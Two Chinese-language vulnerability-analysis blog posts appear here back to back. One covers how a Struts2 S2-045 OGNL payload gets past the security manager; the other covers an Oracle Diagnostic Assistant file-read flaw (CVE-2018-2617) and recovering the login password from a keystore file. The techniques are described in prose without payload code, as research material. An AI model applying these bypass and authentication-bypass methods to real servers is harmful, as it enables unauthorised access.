但是从这次的 payload 中可以看出来它并不是完全依赖于覆盖的方式来绕过的,它检测了一下,要是能访问到 _memberAccess 的话便直接覆盖,不然就获取当前的上下文容器 ActionContext 再得到 ognlUtil 实例,接着通过 ognlUtil 获取到两个排除集合后将其清空,再利用 OgnlContext 中的 setMemberAccess 方法来重新设置 _memberAccess 值为 DEFAULT_MEMBER_ACCESS 从而做到绕过安全管理器。至于为啥不能再采取直接覆盖的方式了,可以看下 OGNL 包中 OgnlContext 类的变化
12.png

这里比较了 ognl-3.0.13 和 ognl-3.1.12(分别对应着 S2-032 和 S2-045 影响版本中的 OGNL 版本),可以明显看到新的版本中已经将对于 _memberAccess 的操作移除掉了,所以 payload 的作者通过检测是否能访问到 _memberAccess 再决定使用什么样的方式来绕过安全管理器便应该是为了提高 payload 的适用性。对于目前的最新版本 Struts 2.5.13 和 Struts 2.3.34 用到的 OGNL 版本分别为 3.1.15 和 3.0.21,其中都在 OgnlContext 中删除了对于 context 的操作,也就是说再也没法通过 #context 获取到当前的 OgnlContext 对象了也就没法绕过安全管理器了。

总结

Struts2 的安全问题层出不穷,它的漏洞往往影响比较大,同时漏洞点也经常会别人吐槽。若不是业务必要应该使用更好的框架来替代它。同时也可以由此去考虑一些别的框架在使用语言表达式的时候是否会存在一些类似的安全性问题。

参考来源

上周出来的漏洞,在 ZDI 上看说是会影响到 Weblogic 便去跟了下,后来发现这个洞并不是在 Weblogic 上的,而且也不一定会影响到 Weblogic。漏洞出现在 Oracle 的诊断助手(Diagnostic Assistant,DA)上,这玩意可以启动一个 Web 服务,要进行操作的话需要登录认证。CVE-2018-2617 就是 DA 启动的 Web 服务存在信息泄露漏洞导致可以绕过认证,再结合 CVE-2018-2615 和 CVE-2018-2615 这两个命令注入漏洞便可以实现远程命令执行。漏洞作者没有挖干净,去跟代码的时候发现除了这两个命令注入之外,还有 8 处可以做到命令注入的,其实它们的成因都是一样的了 - -。

0x00 CVE-2018-2617

虽然没有漏洞的细节,但是只要登录了翻下上面的功能还是挺容易就可以复现漏洞的,看个图
5a7062804ed38.png

看着 url 是不是挺有意思,复现的效果
5a70628a9789d.png

无认证的情况下不能像第一张图那样做到系统上读任意文件(得有读权限),只能读到 output 目录下的文件。output 目录中存放着 DA 的 Web 服务的一些 log 文件和配置文件。看漏洞的描述是说通过读 log 文件中记录的敏感信息做到的认证绕过,后面看代码的时候发现 log 中确实会记录登陆密码,但是日志记录等级为 finer,而配置中的默认等级记录为 warning,不过看代码中在启动的时候会重新设置等级为 finer,但是 log 文件中没有记录到任何的登陆信息。这里整的有些乱,后面找了另外一种方法来获取登陆密码,就是取读 config 目录下的 ewallet.p12 文件,再通过该文件来获取密码。只是这种方式只能读取到通过 -save 选项启动的服务,因为只有加了这个选项才会把密码保存下来。扯了一段别的,本文主要是记录造成信息泄露漏洞的原因了,别的就不写了。

这玩意用的是 grizzly 包来写的 Web 服务,一开始以为是 FileViewer(对应的 url 为 /viewer/*)这个 servlet 写的有问题,后面动态调试的时候发现在进入这个 servlet 的代码之前就已经读到内容了。这里是当做静态资源读出来了的,看下图
5a70629558dbd.png

可以看到 /viewer 这个 context 是被设置了可以处理静态资源的,再往下跟就是结合设置好的目录来读取文件,其中还有路径判断防止使用 .. 来跳转目录的。这些设置可以从 DaWebCli 中看到
5a70627ce1baf.png

这里的 str1 就是对应的 output 目录路径,DefaultServlet 也是设置了可以处理静态资源的,但是路径是在 public_html 目录下,也没法往上跳所以读不到 log 之类的文件了。

其实整个跟下来,漏洞的成因是很简单的,主要是跟的过程中接触到了不少之前没碰到的东西,比如:对 Session 的处理,Context,Servlet 和 url 之间的匹配,但是这些东西还是等下次有更好的理解再记录了。

最后贴张命令注入的的图,感觉这些洞像是漏洞作者手工或黑盒测出来的
5a70627a0621f.png

0x01 参考

http://www.zerodayinitiative.com/advisories/ZDI-18-114/